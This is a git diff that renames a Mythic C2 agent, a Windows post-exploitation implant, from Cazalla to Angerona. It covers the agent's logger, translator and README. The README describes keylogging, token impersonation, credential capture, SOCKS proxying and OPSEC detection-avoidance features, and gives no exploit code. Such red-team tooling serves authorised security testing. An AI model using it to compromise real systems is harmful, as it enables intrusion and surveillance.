initialized: 10.8.20.50:514 (facility=16) -# INFO:cazalla_logger:Logger initialized: cazalla_logger +# INFO:angerona_logger:Syslog client initialized: 10.8.20.50:514 (facility=16) +# INFO:angerona_logger:Logger initialized: angerona_logger ``` ### Verify Local Logs (inside container) ```bash # View today's log file -sudo docker exec cazalla cat /tmp/cazalla_mythic_$(date +%Y-%m-%d).log | tail -20 +sudo docker exec angerona cat /tmp/angerona_mythic_$(date +%Y-%m-%d).log | tail -20 # Or view all log files -sudo docker exec cazalla ls -lh /tmp/cazalla_mythic_*.log +sudo docker exec angerona ls -lh /tmp/angerona_mythic_*.log ``` ### Verify Logs in Syslog (host) ```bash # View logs in real-time -sudo tail -f /var/log/cazalla.log +sudo tail -f /var/log/angerona.log # View recent events -sudo tail -50 /var/log/cazalla.log +sudo tail -50 /var/log/angerona.log # Count events by type -sudo tail -1000 /var/log/cazalla.log | grep -o '"event_type": "[^"]*"' | sort | uniq -c +sudo tail -1000 /var/log/angerona.log | grep -o '"event_type": "[^"]*"' | sort | uniq -c ``` ### Verify Events are Being Sent ```bash # View events in container logs -sudo docker logs cazalla | grep -E "(TASK|RESPONSE|CALLBACK)" | tail -10 +sudo docker logs angerona | grep -E "(TASK|RESPONSE|CALLBACK)" | tail -10 # View events in syslog -sudo tail -20 /var/log/cazalla.log | grep -E "(TASK|RESPONSE|CALLBACK)" +sudo tail -20 /var/log/angerona.log | grep -E "(TASK|RESPONSE|CALLBACK)" ``` ## 🛠️ Troubleshooting @@ -217,12 +217,12 @@ sudo tail -20 /var/log/cazalla.log | grep -E "(TASK|RESPONSE|CALLBACK)" **Solution:** 1. Verify the logger is imported in `main.py`: ```bash - grep -A 5 "from logger" Payload_Type/cazalla/main.py + grep -A 5 "from logger" Payload_Type/angerona/main.py ``` 2. Check container logs: ```bash - sudo docker logs cazalla | grep -i "error\|warning\|logger" + sudo docker logs angerona | grep -i "error\|warning\|logger" ``` ### Syslog Not Initializing @@ -232,24 +232,24 @@ sudo tail -20 /var/log/cazalla.log | grep -E "(TASK|RESPONSE|CALLBACK)" **Solution:** 1. Verify the configuration file exists: ```bash - sudo docker exec cazalla cat /Mythic/logger/syslog.conf + sudo docker exec angerona cat /Mythic/logger/syslog.conf ``` 2. Verify `SYSLOG_SERVER` has a value (not empty): ```bash - sudo docker exec cazalla cat /Mythic/logger/syslog.conf | grep SYSLOG_SERVER + sudo docker exec angerona cat /Mythic/logger/syslog.conf | grep SYSLOG_SERVER ``` 3. Rebuild the container if you just edited the file: ```bash cd /opt/mythic - sudo ./mythic-cli build cazalla - sudo ./mythic-cli restart cazalla + sudo ./mythic-cli build angerona + sudo ./mythic-cli restart angerona ``` ### Messages Not Reaching Syslog -**Symptom:** Logger initializes but you don't see messages in `/var/log/cazalla.log`. +**Symptom:** Logger initializes but you don't see messages in `/var/log/angerona.log`. **Solution:** 1. Verify rsyslog is listening: @@ -264,7 +264,7 @@ sudo tail -20 /var/log/cazalla.log | grep -E "(TASK|RESPONSE|CALLBACK)" echo "Host IP: $IP_HOST" # Test from container - sudo docker exec cazalla python3 -c " + sudo docker exec angerona python3 -c " import socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(b'test', ('$IP_HOST', 514)) @@ -272,12 +272,12 @@ sudo tail -20 /var/log/cazalla.log | grep -E "(TASK|RESPONSE|CALLBACK)" " # Verify it arrived - sleep 1 && sudo tail -1 /var/log/cazalla.log + sleep 1 && sudo tail -1 /var/log/angerona.log ``` 3. Verify rsyslog configuration: ```bash - sudo cat /etc/rsyslog.d/50-cazalla.conf + sudo cat /etc/rsyslog.d/50-angerona.conf sudo systemctl status rsyslog ``` @@ -300,18 +300,18 @@ This is normal for some events. The logger extracts all available information fr **Solution:** 1. Verify the file exists locally: ```bash - ls -la Payload_Type/cazalla/logger/syslog.conf + ls -la Payload_Type/angerona/logger/syslog.conf ``` -2. Verify `CAZALLA_USE_BUILD_CONTEXT="true"` in `/opt/mythic/.env`: +2. Verify `ANGERONA_USE_BUILD_CONTEXT="true"` in `/opt/mythic/.env`: ```bash - grep CAZALLA_USE_BUILD_CONTEXT /opt/mythic/.env + grep ANGERONA_USE_BUILD_CONTEXT /opt/mythic/.env ``` 3. Rebuild the container: ```bash cd /opt/mythic - sudo ./mythic-cli build cazalla + sudo ./mythic-cli build angerona ``` ## 📚 Syslog Facility Codes @@ -337,16 +337,16 @@ This is normal for some events. The logger extracts all available information fr ## 🔧 Code Structure ``` -Payload_Type/cazalla/logger/ -├── __init__.py # Exports cazalla_logger -├── logger.py # CazallaLogger class + SyslogClient +Payload_Type/angerona/logger/ +├── __init__.py # Exports angerona_logger +├── logger.py # AngeronaLogger class + SyslogClient ├── syslog.conf # Syslog configuration └── README.md # This documentation ``` ### Main Classes -- **`CazallaLogger`**: Inherits from `mythic_container.LoggingBase.Log` +- **`AngeronaLogger`**: Inherits from `mythic_container.LoggingBase.Log` - Automatically registers with Mythic - Implements `new_*` methods for each event type - Formats messages as JSON diff --git a/Payload_Type/angerona/logger/__init__.py b/Payload_Type/angerona/logger/__init__.py new file mode 100644 index 0000000..10e0bf1 --- /dev/null +++ b/Payload_Type/angerona/logger/__init__.py @@ -0,0 +1,6 @@ +# Logger package for Angerona Mythic agent +from .logger import angerona_logger + +# Export logger instance so it can be imported +__all__ = ['angerona_logger'] + diff --git a/Payload_Type/cazalla/logger/logger.py b/Payload_Type/angerona/logger/logger.py similarity index 96% rename from Payload_Type/cazalla/logger/logger.py rename to Payload_Type/angerona/logger/logger.py index e95197e..fc0dc23 100644 --- a/Payload_Type/cazalla/logger/logger.py +++ b/Payload_Type/angerona/logger/logger.py @@ -1,5 +1,5 @@ """ -Logging Container for Cazalla Mythic Agent +Logging Container for Angerona Mythic Agent This container subscribes to Mythic events following the official Python logging container pattern. Based on: https://docs.mythic-c2.net/customizing/3.-consuming-containers/logging @@ -18,22 +18,22 @@ import socket from datetime import datetime -class CazallaLogger(Log): +class AngeronaLogger(Log): """ - Logging container for Cazalla agent + Logging container for Angerona agent Follows the official Python logging container pattern """ LogToFilePath = "/tmp" # Path for file logging (empty = stdout only) LogLevel = logging.INFO LogMaxSizeInMB = 0 # 0 = no rotation, keep everything LogMaxBackups = 0 # No backups needed (one file per day) - name = "cazalla_logger" - description = "Cazalla logging container - logs ALL Mythic events to daily files and syslog" + name = "angerona_logger" + description = "Angerona logging container - logs ALL Mythic events to daily files and syslog" def __init__(self): """Initialize the logger""" # Set up Python logging - self.mylogger = logging.getLogger('cazalla_logger') + self.mylogger = logging.getLogger('angerona_logger') self.mylogger.setLevel(self.LogLevel) # Clear any existing handlers to avoid duplicates @@ -51,9 +51,9 @@ class CazallaLogger(Log): log_dir = Path(self.LogToFilePath) log_dir.mkdir(parents=True, exist_ok=True) - # Create filename with current date: cazalla_mythic_YYYY-MM-DD.log + # Create filename with current date: angerona_mythic_YYYY-MM-DD.log today = datetime.now().strftime("%Y-%m-%d") - log_file = log_dir / f'cazalla_mythic_{today}.log' + log_file = log_dir / f'angerona_mythic_{today}.log' # Use FileHandler (no rotation) - one file per day file_handler = logging.FileHandler(log_file, mode='a', encoding='utf-8') @@ -296,7 +296,7 @@ class SyslogClient: self.facility = facility self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.hostname = socket.gethostname() - self.tag = "cazalla" + self.tag = "angerona" def _get_timestamp(self) -> str: """Get current timestamp in RFC 3164 format (Mmm dd HH:MM:SS)""" @@ -347,4 +347,4 @@ class SyslogClient: # Register the logger - Mythic will automatically detect and register it # The class name and inheritance from Log is what makes it work -cazalla_logger = CazallaLogger() +angerona_logger = AngeronaLogger() diff --git a/Payload_Type/cazalla/logger/syslog.conf b/Payload_Type/angerona/logger/syslog.conf similarity index 86% rename from Payload_Type/cazalla/logger/syslog.conf rename to Payload_Type/angerona/logger/syslog.conf index 91195ba..790b608 100644 --- a/Payload_Type/cazalla/logger/syslog.conf +++ b/Payload_Type/angerona/logger/syslog.conf @@ -1,6 +1,6 @@ -# Syslog Configuration for Cazalla Logging Container +# Syslog Configuration for Angerona Logging Container # Edit this file with your syslog server details -# After editing, restart the container: sudo ./mythic-cli restart cazalla +# After editing, restart the container: sudo ./mythic-cli restart angerona # Syslog server IP or hostname (leave empty to disable syslog) # Use the host IP (10.8.20.50) or 172.17.0.1 (docker0 bridge) to reach rsyslog on the host diff --git a/Payload_Type/cazalla/main.py b/Payload_Type/angerona/main.py similarity index 89% rename from Payload_Type/cazalla/main.py rename to Payload_Type/angerona/main.py index d3e09d1..62b243b 100644 --- a/Payload_Type/cazalla/main.py +++ b/Payload_Type/angerona/main.py @@ -1,14 +1,14 @@ #from mywebhook.webhook import * import mythic_container import asyncio -import cazalla +import angerona #import websocket.mythic.c2_functions.websocket from translator.translator import * # Import logging container - following official Python pattern # The logger is automatically registered when the class is instantiated try: - from logger import cazalla_logger # Import logging container + from logger import angerona_logger # Import logging container print("[MAIN] ✓ Logging container imported and registered") except Exception as e: print(f"[MAIN] WARNING: Could not import logging container: {e}") diff --git a/Payload_Type/cazalla/rabbitmq_config.json b/Payload_Type/angerona/rabbitmq_config.json similarity index 100% rename from Payload_Type/cazalla/rabbitmq_config.json rename to Payload_Type/angerona/rabbitmq_config.json diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/angerona/requirements.txt similarity index 100% rename from Payload_Type/cazalla/requirements.txt rename to Payload_Type/angerona/requirements.txt diff --git a/Payload_Type/cazalla/translator/__init__.py b/Payload_Type/angerona/translator/__init__.py similarity index 100% rename from Payload_Type/cazalla/translator/__init__.py rename to Payload_Type/angerona/translator/__init__.py diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/angerona/translator/commands_from_c2.py similarity index 100% rename from Payload_Type/cazalla/translator/commands_from_c2.py rename to Payload_Type/angerona/translator/commands_from_c2.py diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/angerona/translator/commands_from_implant.py similarity index 100% rename from Payload_Type/cazalla/translator/commands_from_implant.py rename to Payload_Type/angerona/translator/commands_from_implant.py diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/angerona/translator/translator.py similarity index 97% rename from Payload_Type/cazalla/translator/translator.py rename to Payload_Type/angerona/translator/translator.py index 0e4ad7d..45098a3 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/angerona/translator/translator.py @@ -30,9 +30,9 @@ class TranslationContainerEncryptionType(Enum): -class cazalla_translator(TranslationContainer): - name = "cazalla_translator" - description = "Python translation service for the C agent Cazalla" +class angerona_translator(TranslationContainer): + name = "angerona_translator" + description = "Python translation service for the C agent Angerona" author = "OFSTeam" # Variables de clase para configuración de cifrado diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/angerona/translator/utils.py similarity index 100% rename from Payload_Type/cazalla/translator/utils.py rename to Payload_Type/angerona/translator/utils.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png deleted file mode 100644 index fadc967..0000000 Binary files a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png and /dev/null differ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg deleted file mode 100644 index 7647fb8..0000000 --- a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg +++ /dev/null @@ -1,266 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Payload_Type/cazalla/logger/__init__.py b/Payload_Type/cazalla/logger/__init__.py deleted file mode 100644 index ca1c876..0000000 --- a/Payload_Type/cazalla/logger/__init__.py +++ /dev/null @@ -1,6 +0,0 @@ -# Logger package for Cazalla Mythic agent -from .logger import cazalla_logger - -# Export logger instance so it can be imported -__all__ = ['cazalla_logger'] - diff --git a/README.md b/README.md index 9475e81..084c7bf 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Cazalla - Mythic C2 Agent +# Angerona - Mythic C2 Agent
@@ -41,7 +41,7 @@ ## 🎯 Overview -**Cazalla** is a lightweight Windows implant written in C, designed to work seamlessly with the [Mythic C2 Framework](https://github.com/its-a-feature/Mythic). It provides essential post-exploitation capabilities including file system manipulation, process enumeration, command execution, and SOCKS proxy functionality. +**Angerona** is a lightweight Windows implant written in C, designed to work seamlessly with the [Mythic C2 Framework](https://github.com/its-a-feature/Mythic). It provides essential post-exploitation capabilities including file system manipulation, process enumeration, command execution, and SOCKS proxy functionality. This project was inspired by the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and has been extended with additional features and improvements. @@ -70,20 +70,20 @@ This project was inspired by the article [How to build your own Mythic agent in 2. Build the [Docker Image ollvm](https://git.redteam/jesus.rodenas/ollvm-clang) in the Mythic server. -### Install Cazalla on Mythic +### Install Angerona on Mythic ```bash cd ~/Mythic -./mythic-cli install github https://github.com//Cazalla +./mythic-cli install github https://github.com//Angerona ``` Or install from local directory: ```bash -./mythic-cli install folder /path/to/Cazalla +./mythic-cli install folder /path/to/Angerona ``` -Then, modify the Mythic `docker-compose.yaml`, adding the following volumnes in the "cazalla" service: +Then, modify the Mythic `docker-compose.yaml`, adding the following volumnes in the "angerona" service: ``` - /var/run/docker.sock:/var/run/docker.sock @@ -92,10 +92,10 @@ Then, modify the Mythic `docker-compose.yaml`, adding the following volumnes in ### Build the Agent -Cazalla can be built directly from the Mythic UI: +Angerona can be built directly from the Mythic UI: 1. Navigate to **Payloads** → **Create Payload** -2. Select **Cazalla** as the payload type +2. Select **Angerona** as the payload type 3. Configure build parameters (C2 profile, sleep interval, etc.) 4. Click **Build** @@ -103,9 +103,9 @@ The agent will be cross-compiled for Windows using MinGW in a Docker container. --- -## 🔨 Customizing Cazalla +## 🔨 Customizing Angerona -If you've forked Cazalla or made local changes and want to use your customized version, you need to configure Mythic to use local builds instead of remote images. +If you've forked Angerona or made local changes and want to use your customized version, you need to configure Mythic to use local builds instead of remote images. ### Making Changes Work @@ -113,34 +113,34 @@ By default, Mythic may use pre-built remote images for faster deployment. Howeve #### Configure Build Variables -After installing Cazalla, Mythic will add these variables to your `~/Mythic/.env` file: +After installing Angerona, Mythic will add these variables to your `~/Mythic/.env` file: ```bash # Use local build context instead of remote image -CAZALLA_USE_BUILD_CONTEXT="true" +ANGERONA_USE_BUILD_CONTEXT="true" # Use direct mount instead of Docker volume (recommended for development) -CAZALLA_USE_VOLUME="false" +ANGERONA_USE_VOLUME="false" # Optional: Remote image URL (only used if USE_BUILD_CONTEXT is false) -CAZALLA_REMOTE_IMAGE="ghcr.io/your-org/cazalla:v1.0.0" +ANGERONA_REMOTE_IMAGE="ghcr.io/your-org/angerona:v1.0.0" ``` #### Variables Explanation -- **`CAZALLA_USE_BUILD_CONTEXT`**: +- **`ANGERONA_USE_BUILD_CONTEXT`**: - Set to `"true"` to build from your local `Dockerfile` and include your local changes - Set to `"false"` (default) to use the pre-built remote image - **Important**: You must set this to `"true"` if you've modified any files! -- **`CAZALLA_USE_VOLUME`**: +- **`ANGERONA_USE_VOLUME`**: - Set to `"false"` (default) to mount the local folder directly into the container - Set to `"true"` to use a Docker volume instead - Direct mount is better for development as changes are immediately visible -- **`CAZALLA_REMOTE_IMAGE`** (optional): +- **`ANGERONA_REMOTE_IMAGE`** (optional): - Specifies a pre-built remote image URL - - Only used when `CAZALLA_USE_BUILD_CONTEXT="false"` + - Only used when `ANGERONA_USE_BUILD_CONTEXT="false"` #### Apply Changes @@ -148,33 +148,33 @@ After modifying these variables, rebuild the container: ```bash cd ~/Mythic -sudo ./mythic-cli build cazalla +sudo ./mythic-cli build angerona ``` #### Verifying Your Changes 1. Make your code changes -2. Set `CAZALLA_USE_BUILD_CONTEXT="true"` in `~/Mythic/.env` -3. Run `sudo ./mythic-cli build cazalla` -4. Check logs: `sudo docker logs cazalla_translator` +2. Set `ANGERONA_USE_BUILD_CONTEXT="true"` in `~/Mythic/.env` +3. Run `sudo ./mythic-cli build angerona` +4. Check logs: `sudo docker logs angerona_translator` If changes still don't appear: -- Verify the `Dockerfile` copies your modified files (see line 39: `COPY ./ /Mythic/cazalla/`) +- Verify the `Dockerfile` copies your modified files (see line 39: `COPY ./ /Mythic/angerona/`) - Check that file paths in the Dockerfile match your directory structure -- Ensure you're editing files in the correct location (inside `Payload_Type/cazalla/`) +- Ensure you're editing files in the correct location (inside `Payload_Type/angerona/`) #### Example: Customizing Agent Code ```bash # 1. Edit agent C code -vim Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +vim Payload_Type/angerona/angerona/agent_code/angerona/comandos.c # 2. Ensure build context is enabled -echo 'CAZALLA_USE_BUILD_CONTEXT="true"' >> ~/Mythic/.env +echo 'ANGERONA_USE_BUILD_CONTEXT="true"' >> ~/Mythic/.env # 3. Rebuild the container cd ~/Mythic -sudo ./mythic-cli build cazalla +sudo ./mythic-cli build angerona # 4. Rebuild a payload from the UI # Your changes will now be included in the compiled agent @@ -251,7 +251,7 @@ For more information, see the [Mythic documentation on customizing public agents ## 🌐 SOCKS Proxy Support -Cazalla includes full SOCKS5 proxy support, allowing you to route traffic through the implant to reach internal network resources. +Angerona includes full SOCKS5 proxy support, allowing you to route traffic through the implant to reach internal network resources. ### How It Works @@ -363,7 +363,7 @@ Agent and translator communicate SOCKS data using a custom binary block: ## 🔄 Reverse Port Forwarding (RPFWD) Support -Cazalla includes reverse port forwarding (RPFWD) support, allowing you to tunnel incoming connections from the agent to a remote destination through Mythic. +Angerona includes reverse port forwarding (RPFWD) support, allowing you to tunnel incoming connections from the agent to a remote destination through Mythic. ### How It Works @@ -464,7 +464,7 @@ Agent and translator communicate RPFWD data using a custom binary block: ## 📡 Communication Protocol -Cazalla uses a custom binary protocol for efficient communication with Mythic. +Angerona uses a custom binary protocol for efficient communication with Mythic. ### Message Structure @@ -557,7 +557,7 @@ Edit `Config.h` before building: ### Channel Encryption -Cazalla supports optional AES-256-CBC encryption with HMAC-SHA256 for secure agent-to-Mythic communication. This provides an additional layer of security beyond HTTPS. +Angerona supports optional AES-256-CBC encryption with HMAC-SHA256 for secure agent-to-Mythic communication. This provides an additional layer of security beyond HTTPS. #### How It Works @@ -572,7 +572,7 @@ Cazalla supports optional AES-256-CBC encryption with HMAC-SHA256 for secure age Encryption is enabled automatically when building with the `AESPSK` parameter in Mythic's UI: 1. Navigate to **Payloads** → **Create Payload** -2. Select **Cazalla** as the payload type +2. Select **Angerona** as the payload type 3. In the build parameters, configure **AESPSK**: - Set `crypto_type` to `aes256_hmac` - Mythic will automatically generate an `enc_key` @@ -611,7 +611,7 @@ This enables: ## 📊 Process Browser Integration -Cazalla fully integrates with Mythic's Process Browser feature, providing unified process management across multiple callbacks on the same host. Both `ps` and `kill` commands support Process Browser integration. +Angerona fully integrates with Mythic's Process Browser feature, providing unified process management across multiple callbacks on the same host. Both `ps` and `kill` commands support Process Browser integration. ### Features @@ -672,7 +672,7 @@ For more information, see the [Mythic Process Browser documentation](https://doc ## 🎨 Artifacts Support -Cazalla automatically reports artifacts created during command execution, allowing Mythic to track artifacts like process creation, file writes, and other system modifications. +Angerona automatically reports artifacts created during command execution, allowing Mythic to track artifacts like process creation, file writes, and other system modifications. ### Features @@ -855,7 +855,7 @@ For more information, see the [Mythic Artifacts documentation](https://docs.myth ## 🔑 Credentials Support -Cazalla supports reporting discovered credentials to Mythic's credential store, allowing you to track and manage credentials discovered during operations. +Angerona supports reporting discovered credentials to Mythic's credential store, allowing you to track and manage credentials discovered during operations. ### Features @@ -977,7 +977,7 @@ For more information, see the [Mythic Credentials documentation](https://docs.my ## 📥 File Downloads Support -Cazalla supports downloading files from the target to the Mythic server using chunked transfers, following [Mythic's File Downloads specification](https://docs.mythic-c2.net/customizing/hooking-features/download). +Angerona supports downloading files from the target to the Mythic server using chunked transfers, following [Mythic's File Downloads specification](https://docs.mythic-c2.net/customizing/hooking-features/download). ### Features @@ -1068,7 +1068,7 @@ For more information, see the [Mythic File Downloads documentation](https://docs ## 📤 File Uploads Support -Cazalla supports uploading files from the Mythic server to the target using chunked transfers, following [Mythic's File Upload specification](https://docs.mythic-c2.net/customizing/hooking-features/action-upload). +Angerona supports uploading files from the Mythic server to the target using chunked transfers, following [Mythic's File Upload specification](https://docs.mythic-c2.net/customizing/hooking-features/action-upload). ### Features @@ -1225,7 +1225,7 @@ For more information, see the [Mythic File Upload documentation](https://docs.my ## ⌨️ Keylogging Support -Cazalla supports capturing keystrokes from the target system and reporting them to Mythic's Keylogs feature, following [Mythic's Keylog specification](https://docs.mythic-c2.net/customizing/hooking-features/keylog). +Angerona supports capturing keystrokes from the target system and reporting them to Mythic's Keylogs feature, following [Mythic's Keylog specification](https://docs.mythic-c2.net/customizing/hooking-features/keylog). ### Features @@ -1354,7 +1354,7 @@ For more information, see the [Mythic Keylog documentation](https://docs.mythic- ## 🔐 Token Support -Cazalla supports Windows token manipulation and impersonation, following [Mythic's Token specification](https://docs.mythic-c2.net/customizing/hooking-features/tokens). +Angerona supports Windows token manipulation and impersonation, following [Mythic's Token specification](https://docs.mythic-c2.net/customizing/hooking-features/tokens). ### Features @@ -1369,7 +1369,7 @@ Cazalla supports Windows token manipulation and impersonation, following [Mythic ### How It Works -Cazalla implements token functionality following Mythic's token specification: +Angerona implements token functionality following Mythic's token specification: 1. **Token Listing** (`list_tokens`): - Enumerates all running processes @@ -1548,7 +1548,7 @@ For more information, see the [Mythic Tokens documentation](https://docs.mythic- ## 📊 Context Tracking -Cazalla supports **Context Tracking** to display dynamic callback context information (like current working directory and impersonation context) as tabs in the Mythic UI. This feature enhances the operator experience by providing immediate visibility into the agent's current state. +Angerona supports **Context Tracking** to display dynamic callback context information (like current working directory and impersonation context) as tabs in the Mythic UI. This feature enhances the operator experience by providing immediate visibility into the agent's current state. ### Overview @@ -1720,7 +1720,7 @@ For more information, see the [Mythic Context Tracking documentation](https://do ## 🛡️ OPSEC Checking -Cazalla includes comprehensive **OPSEC Checking** functionality that provides operational security warnings and blocking for commands based on their detection risks. This feature helps operators make informed decisions and prevents accidental OPSEC violations. +Angerona includes comprehensive **OPSEC Checking** functionality that provides operational security warnings and blocking for commands based on their detection risks. This feature helps operators make informed decisions and prevents accidental OPSEC violations. ### Overview @@ -1772,7 +1772,7 @@ The `opsec_post` function runs after task creation but before agent execution: | Command | Blocking Conditions | Bypass Role | |---------|---------------------|-------------| -| `shell` | Commands with safer Cazalla alternatives (`whoami`, `tasklist`, `powershell`, etc.) | `other_operator` | +| `shell` | Commands with safer Angerona alternatives (`whoami`, `tasklist`, `powershell`, etc.) | `other_operator` | | `steal_token` | Critical system processes (PID 4) | `other_operator` | | `kill` | Critical system processes (PID 0, 4, 8) | `other_operator` | | `keylog_start` | Always blocked (extremely detectable) | `lead` | @@ -1801,14 +1801,14 @@ The `opsec_post` function runs after task creation but before agent execution: ``` 🚨 OPSEC BLOCKED - Command Has Safer Alternative -This command contains operations that have safer built-in alternatives in Cazalla: +This command contains operations that have safer built-in alternatives in Angerona: - 🚨 whoami: Use Cazalla's 'whoami' command instead (no cmd.exe spawn) + 🚨 whoami: Use Angerona's 'whoami' command instead (no cmd.exe spawn) ⚠️ cmd.exe spawn: This command would spawn cmd.exe (highly detectable) 💡 SAFER ALTERNATIVES: - → Use: 'whoami' (Cazalla built-in, no cmd.exe) + → Use: 'whoami' (Angerona built-in, no cmd.exe) ⚠️ TO PROCEED: You need approval from another operator. This command is blocked to prevent accidental OPSEC violations. @@ -1854,8 +1854,8 @@ OPSEC checking is **intelligent and conditional**: ```python # Blocks if command contains: -- "whoami" → Use Cazalla's 'whoami' instead -- "tasklist" → Use Cazalla's 'ps' instead +- "whoami" → Use Angerona's 'whoami' instead +- "tasklist" → Use Angerona's 'ps' instead - "powershell" → Highly monitored, use alternatives # Warns if command contains: @@ -1931,7 +1931,7 @@ For more information, see the [Mythic OPSEC Checking documentation](https://docs ## 📊 Logging & Syslog -Cazalla includes a complete logging system that records all Mythic events and sends them to a central syslog server. +Angerona includes a complete logging system that records all Mythic events and sends them to a central syslog server. ### Features @@ -1946,7 +1946,7 @@ Cazalla includes a complete logging system that records all Mythic events and se 1. **Edit the configuration file:** ```bash - nano Payload_Type/cazalla/logger/syslog.conf + nano Payload_Type/angerona/logger/syslog.conf ``` 2. **Configure the syslog server IP:** @@ -1959,30 +1959,30 @@ Cazalla includes a complete logging system that records all Mythic events and se 3. **Rebuild and restart:** ```bash cd /opt/mythic - sudo ./mythic-cli build cazalla - sudo ./mythic-cli restart cazalla + sudo ./mythic-cli build angerona + sudo ./mythic-cli restart angerona ``` ### Verification ```bash # Verify logger is active -sudo docker logs cazalla | grep -i "syslog\|Logger initialized" +sudo docker logs angerona | grep -i "syslog\|Logger initialized" # View logs in real-time -sudo tail -f /var/log/cazalla.log +sudo tail -f /var/log/angerona.log ``` ### Log Locations -- **Syslog (host)**: `/var/log/cazalla.log` -- **Local logs (container)**: `/tmp/cazalla_mythic_YYYY-MM-DD.log` +- **Syslog (host)**: `/var/log/angerona.log` +- **Local logs (container)**: `/tmp/angerona_mythic_YYYY-MM-DD.log` ### Complete Documentation For more details on configuration, troubleshooting, and advanced usage, see: -- [Logger Documentation](Payload_Type/cazalla/logger/README.md) - Complete technical documentation -- [Agent Wiki - Logging](documentation-payload/Cazalla/logging.md) - User guide +- [Logger Documentation](Payload_Type/angerona/logger/README.md) - Complete technical documentation +- [Agent Wiki - Logging](documentation-payload/Angerona/logging.md) - User guide --- @@ -1991,10 +1991,10 @@ For more details on configuration, troubleshooting, and advanced usage, see: ### Project Structure ``` -Cazalla/ -├── agent_code/cazalla/ # C source code +Angerona/ +├── agent_code/angerona/ # C source code │ ├── main.c # Entry point -│ ├── cazalla.c/h # Main loop +│ ├── angerona.c/h # Main loop │ ├── comandos.c/h # Command handlers │ ├── paquete.c/h # Packet creation │ ├── transporte.c/h # HTTP transport (WinHTTP) @@ -2144,7 +2144,7 @@ grep DYNAMIC_PORTS_BIND_LOCALHOST_ONLY ~/Mythic/.env **Proxy times out:** - Verify agent is active and not sleeping -- Check translator logs: `sudo docker logs cazalla_translator` +- Check translator logs: `sudo docker logs angerona_translator` - Ensure `server_id` validation in `socks_manager.c` allows Mythic's IDs **Data not flowing:** @@ -2175,10 +2175,10 @@ apt-get update && apt-get install -y mingw-w64 **Processes not appearing in Process Browser:** - Verify `ps` command executed successfully (check callback output) -- Check translator logs: `sudo docker logs cazalla_translator | grep PROCESS_BROWSER` +- Check translator logs: `sudo docker logs angerona_translator | grep PROCESS_BROWSER` - Ensure `supported_ui_features = ["process_browser:list"]` is set in `ps.py` - Verify processes are being parsed correctly (translator should show "Parseados X procesos") -- Rebuild translator if changes were made: `sudo ./mythic-cli build cazalla` +- Rebuild translator if changes were made: `sudo ./mythic-cli build angerona` **Processes showing as "UNKNOWN - MISSING DATA":** - This usually indicates processes that couldn't be accessed (protected/system processes) @@ -2190,7 +2190,7 @@ apt-get update && apt-get install -y mingw-w64 **Encryption not working:** - Verify `AESPSK` parameter is configured in build parameters - Check build output for: `✓ Encryption ENABLED` -- Review translator logs for encryption/decryption errors: `sudo docker logs cazalla_translator | grep CRYPTO` +- Review translator logs for encryption/decryption errors: `sudo docker logs angerona_translator | grep CRYPTO` - Ensure encryption key is present in both agent and translator (auto-configured by Mythic) **"HMAC verification failed" errors:** @@ -2213,7 +2213,7 @@ apt-get update && apt-get install -y mingw-w64 ## 📄 License -Cazalla is licensed under the **BSD 3-Clause License**. See [LICENSE.md](LICENSE.md) for details. +Angerona is licensed under the **BSD 3-Clause License**. See [LICENSE.md](LICENSE.md) for details. --- diff --git a/agent_icons/angerona.svg b/agent_icons/angerona.svg new file mode 100644 index 0000000..3fc360e --- /dev/null +++ b/agent_icons/angerona.svg @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/agent_icons/angerona_dark.svg b/agent_icons/angerona_dark.svg new file mode 100644 index 0000000..0f0ce77 --- /dev/null +++ b/agent_icons/angerona_dark.svg @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/agent_icons/cazalla.svg b/agent_icons/cazalla.svg deleted file mode 100644 index 7647fb8..0000000 --- a/agent_icons/cazalla.svg +++ /dev/null @@ -1,266 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/documentation-payload/Cazalla/README.md b/documentation-payload/Angerona/README.md similarity index 50% rename from documentation-payload/Cazalla/README.md rename to documentation-payload/Angerona/README.md index 319dfa9..a836a81 100644 --- a/documentation-payload/Cazalla/README.md +++ b/documentation-payload/Angerona/README.md @@ -1,6 +1,6 @@ -# Documentación de Cazalla +# Documentación de Angerona -Esta carpeta contiene la documentación del agente Cazalla que se sirve automáticamente desde el contenedor de documentación de Mythic. +Esta carpeta contiene la documentación del agente Angerona que se sirve automáticamente desde el contenedor de documentación de Mythic. ## Estructura @@ -10,20 +10,20 @@ Esta carpeta contiene la documentación del agente Cazalla que se sirve automát ## Instalación -Esta documentación se instala automáticamente cuando instalas el agente Cazalla en Mythic: +Esta documentación se instala automáticamente cuando instalas el agente Angerona en Mythic: ```bash cd ~/Mythic -./mythic-cli install github https://github.com/tu-org/Cazalla +./mythic-cli install github https://github.com/tu-org/Angerona # o -./mythic-cli install folder /path/to/Cazalla +./mythic-cli install folder /path/to/Angerona 